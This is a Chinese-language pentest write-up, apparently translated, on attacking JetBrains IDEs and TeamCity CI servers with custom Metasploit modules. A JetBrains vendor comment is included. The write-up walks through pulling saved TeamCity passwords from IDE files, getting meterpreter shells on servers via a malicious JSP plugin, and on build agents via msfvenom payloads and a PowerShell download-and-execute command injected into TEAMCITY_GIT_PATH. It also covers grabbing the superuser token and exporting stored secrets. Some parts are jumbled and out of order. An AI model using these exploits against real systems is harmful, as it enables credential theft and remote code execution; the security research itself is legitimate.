TL;DR: 从 JetBrains IDE(例如 IntelliJ 或 PyCharm)获取密码,然后在 TeamCity 持续集成服务器 中使用这些凭据,以利用 metasploit 在服务器和构建代理上获取 meterpreter 会话——作者 Kacper Szurek。




以下是来自供应商(JetBrains TeamCity 团队)的评论,由 Yegor Yarko 提供:
OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` 这将允许下载并执行 Meterpreter。编译后的 `.jar` 文件位于[此处](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)。本文的大部分内容描述了恶意用户如何在获得合理权限的情况下滥用 TeamCity。 例如,具有系统管理员角色(授予对服务器的完全控制权)的用户可以安装恶意的 TeamCity 插件或获取用于“超级用户”访问服务器的令牌。此外,具有项目管理员角色的用户可以在代理上运行任意代码或检索配置的存储库访问密码。这种行为是 TeamCity 作为产品所提供的功能的一部分。这些注意事项已在 TeamCity 文档的相关章节中描述。
所描述的问题说明了向恶意行为者授予高权限可能带来的危险。TeamCity 服务器管理员应定期审查用户权限,以避免向潜在的恶意用户授予任何可能被滥用的权限;如果启用了访客用户,请审查其权限。另一点是,在登录任何具有非平凡权限的位置时,不要将终端无人值守。
不过,文中也指出了两个实际的安全问题: 其一涉及发布恶意构建产物并诱使管理员用户在浏览器中查看它,另一个则是将运行自定义构建的权限升级为在 TeamCity 代理上执行任意代码。后者对大多数 TeamCity 安装的影响较小,因为拥有此权限的用户通常已经具备在代理上执行任何代码的能力。
尽管如此,我们将在最近的 TeamCity 版本中解决上述问题,并感谢您向我们提出这些问题。
假设你正在一家使用 JetBrains 技术栈的软件公司进行渗透测试。你正在使用 metasploit,并在开发者的计算机上获取到了 meterpreter 会话。
接下来你能做什么?关于 TeamCity 渗透测试,有一篇 2015 年由 Nikhil SamratAshok Mittal 撰写的文章。
注意: 本文未使用任何 0 day 漏洞。所有操作都需要有效的 TeamCity 凭据。请参阅 JetBrains 评论。
对于此脚本造成的任何损害,我不承担任何责任。为了数据安全,请使用 set CLEANUP false。
已在 TeamCity 2017.2.1 (build 50732) 上测试通过。
要解码 KeePass 数据库,我们需要 kdbx Ruby 库。
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle install现在你可以:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb 和 serverplugin.zip 复制到 ~/.msf4/modules/exploitsjetbrains.rb 复制到 ~/.msf4/modules/postmsfconsolereload_allTeamCity 可以通过插件轻松集成到所有 JetBrains IDE 中。

如果使用了 记住我 选项,密码将使用 IntelliJ Platform Credentials Store API 存储。你可以在此处找到源代码:链接。
在 Windows 上的解密过程如下所示:

pdb.pw 文件使用 Windows CryptUnprotectData 进行解密。这意味着只有加密数据的用户才能解码它们。c.kdbx KeePass 数据库。0xDFAA 进行异或操作。默认情况下,主密码是随机的。可以在选项中更改:

但这并不会改变任何本质问题。
它只意味着 c.kdbx KeePass 数据库将使用不同的密码加密。本地用户仍然可以轻松地从 pdb.pw 文件中获取此密码。
假设你有一个有效的 Meterpreter 会话,编号为 `#1```` use post/jetbrains set SESSION 1 exploit
输出看起来像这样:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
现在您已拥有来自 JetBrains metasploit 模块 的 TeamCity 凭据。根据当前的用户角色,您可以:
| 服务器 Shell | 构建代理 Shell | 超级用户 | 已保存的凭据 | |
|---|---|---|---|---|
| 管理员 | ✔️ | ✔️ | ✔️ | ✔️ 适用于所有项目 |
| 已登录用户 | ❌ | ✖️ 仅 Windows 代理 | ❌ | ❌ |
| 访客用户 | ❌ | ❌ | ❌ | ❌ |
| 服务器 Shell | 构建代理 Shell | 超级用户 | 已保存的凭据 | |
|---|---|---|---|---|
| 系统管理员 | ✔️ | ✔️ | ✔️ | ✔️ 适用于所有项目 |
| 项目管理员 | ❌ | ✔️ | ❌ | ✔️ |
| 项目开发人员 | ❌ | ✖️ 仅 Windows 代理 | ❌ | ❌ |
| 项目查看者 | ❌ | ❌ | ❌ | ❌ |
请注意,metasploit 模块不支持自定义角色。
TeamCity 可以通过插件轻松扩展。

利用此功能,可以创建恶意插件来运行 meterpreter 会话。
Hello.jsp 文件中放入: ```java
<%@ page import="java.io.File" %>Server Administration->Diagnostics->Browse Data Directory,并将插件上传到 plugins 目录。(http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)
Server Administration->Diagnostics->Troubleshooting->Restart server 重启服务器。(http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)
TeamCity Build Agent 是一种软件,它监听来自 TeamCity 服务器的命令并启动实际的构建过程。它独立于 TeamCity 服务器进行安装和配置。代理可以安装在与服务器相同的计算机上,也可以安装在不同的机器上。
利用过程如下:

简单来说:我们生成一个托管在 Git 服务器上的 Java Meterpreter。然后我们创建一个构建配置,从 Git 服务器下载我们的 Meterpreter,并使用命令行在代理上运行它。
1. 生成 Meterpreter 载荷:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar
2. 在 Git 服务器上托管 meterpreter.jar(例如使用 https://gogs.io/)
3. 如果您拥有 System Administrator 权限,则可以创建新项目 (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu)。如果您是 Project Developer,则需要编辑您有权访问的项目。

4. 使用第 2 步中的数据为您的项目添加 VCS 根目录

5. 创建新的构建配置

6. 向构建配置添加构建步骤

| 键 | 值 |
|---|---|
| 运行器类型 | 命令行 |
| 执行步骤 | 始终执行,即使发出了构建停止命令 |
| 运行 | 带参数的可执行文件 |
| 命令可执行文件 | %teamcity.agent.jvm.java.home%/bin/java |
| 命令参数 | -jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar |
7. 准备 Metasploit multi/handler: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit
8. 在所有兼容的代理上运行个人自定义构建

## Windows构建代理上的Shell
默认情况下,`Project Developer` 无法修改/创建构建步骤。
因此无法添加和执行我们的恶意命令行。
我们可以尝试在Windows上通过[自定义环境变量 ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables)绕过这一限制。如何操作?
TeamCity 支持[代理上的Git检出](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode)。
在构建步骤执行之前,代理会从Git服务器下载最新数据:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
代理正在检查环境变量 TEAMCITY_GIT_PATH 是否存在。如果存在,则将其用作 git 可执行文件的路径。
在 TeamCity 项目中,开发者可以运行他有权限访问的构建,并指定自定义环境变量。
因此我们将 env.TEAMCITY_GIT_PATH 设置为:```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

在构建日志中,它看起来像这样:```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
TeamCity 提供了一个称为超级用户帐户的功能。如果您忘记了凭证或需要修复与身份验证相关的设置,它允许您以系统管理员权限访问服务器 UI。
如果您拥有 System Administrator 权限,请转到 Server Administration->Diagnostics->Server logs->teamcity-server.log 并搜索字符串 Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
现在你可以使用以下地址登录:`http://teamcity/login.html?super=1`
## 已保存的凭据
TeamCity 以加密形式存储诸如 `VCS root passwords`、`password parameters` 或 `SSH keys` 等内容,并且不会在 Web 或 API 界面上显示其内容。
但可以通过 `export` 功能绕过。转到 **Your project->Settings Export->Export**

这些文件看起来像这样:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
加密字符串以 zxx 开头,并使用 静态密钥的 DES 算法 进行编码。
正如我们在 Teamcity Bug Tracker #TW-27206 中看到的:构建工件中的恶意数据可引发 XSS 攻击。
目前,点击构建工件中的所有 .html(以及其他一些)文件时,它们会在浏览器中渲染。
我创建了一个 小代码片段,试图创建新的管理员账户。
这种攻击可能是什么样的?我们试图说服管理员访问我们的恶意工件,该工件可通过类似以下 URL 访问:http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html。

TeamCity 允许您启用 访客登录,从而允许匿名访问 TeamCity Web UI。
服务器管理员可以在 管理 | 认证页面 上启用访客登录。
您可以使用此功能获取构建工件。
基本用法:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit
输出看起来像这样:
附加选项:
| 名称 | 描述 |
|:---:|:---:|
|PROJECT_ID|指定项目ID,默认会创建新的随机项目|
|BUILD_TYPE_ID|指定构建类型ID,默认会创建新的随机构建类型|
|VCS_ID|指定VCS ID,默认会创建新的随机VCS|
|CLEANUP|删除已创建的项目/构建/VCS根目录|
|SERVER_PLUGIN|[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)的路径|
|GIT_PATH|GIT目录的路径|
# 故障排查
1. 我无法加载Metasploit模块
请确认已复制`teamcity.rb`到`~/.msf4/modules/exploits`目录,`jetbrains.rb`到`~/.msf4/modules/post`目录。
Metasploit要求漏洞利用模块放在`exploits`目录内,后期模块放在`post`目录内。
2. 警告!以下模块无法加载!LoadError无法加载文件 -- kdbx
你是否安装了[kdbx模块](#installation)?如果是,退出Metasploit并重新运行。使用`reload_all`命令。
3. 我无法从安装在Mac/Linux上的IDE中获取密码
目前仅支持Windows。抱歉。
4. 后期模块失败:Rex::Post::Meterpreter::RequestError stdapi_railgun_api: 操作失败:1
可能你正在使用Java meterpreter。它缺少一些重要的API。迁移到`windows/meterpreter/reverse_tcp`再试一次。
5. 以SYSTEM身份运行,无法解密数据
因为密码使用`CryptUnprotectData` API加密,解码函数需要在普通用户账户上下文中运行。
6. 我没有获得[服务器上的shell](#shell-on-server)
再次运行漏洞利用。
7. `teamcit.rb`即使当前用户拥有足够权限也无法工作
此模块不支持自定义角色。
8. 在%path%中找不到git。请更改GIT_PATH
我们需要`git`和`git-upload-pack`二进制文件来设置Git服务器,该服务器将托管我们的meterpreter。想法来源于[此处](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html)。
```
set GIT_PATH /your/path/to/git/dir
```
9. 无法以`用户名:密码`登录
请双重检查凭据:
set USERNAME your_user_name
set PASSWORD your_password
10. 找不到服务器插件:%path%。请修改SERVER_PLUGIN
指定[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)的存储位置:
set SERVER_PLUGIN /your/path/to/serverplugin.zip
11. [-] 漏洞利用失败:Rex::RuntimeError 提供的资源已被添加。
使用`jobs -K`杀掉后台任务。
12. 请将LHOST绑定到特定IP地址,不要绑定到0.0.0.0
绑定到特定IP地址,例如: ```
use LHOST 192.168.1.123
您没有对特定项目的权限。 查看您有权访问的项目,即: ``` You can modify only following projects: ["test", "second"]
然后指定项目ID: ```
set PROJECT_ID test
java/meterpreter/reverse_tcp 可用?因为它具有可移植性。请随意修改 is_payload_compatible? 函数。
启用调试:
set HttpTrace 1
set LogLevel 3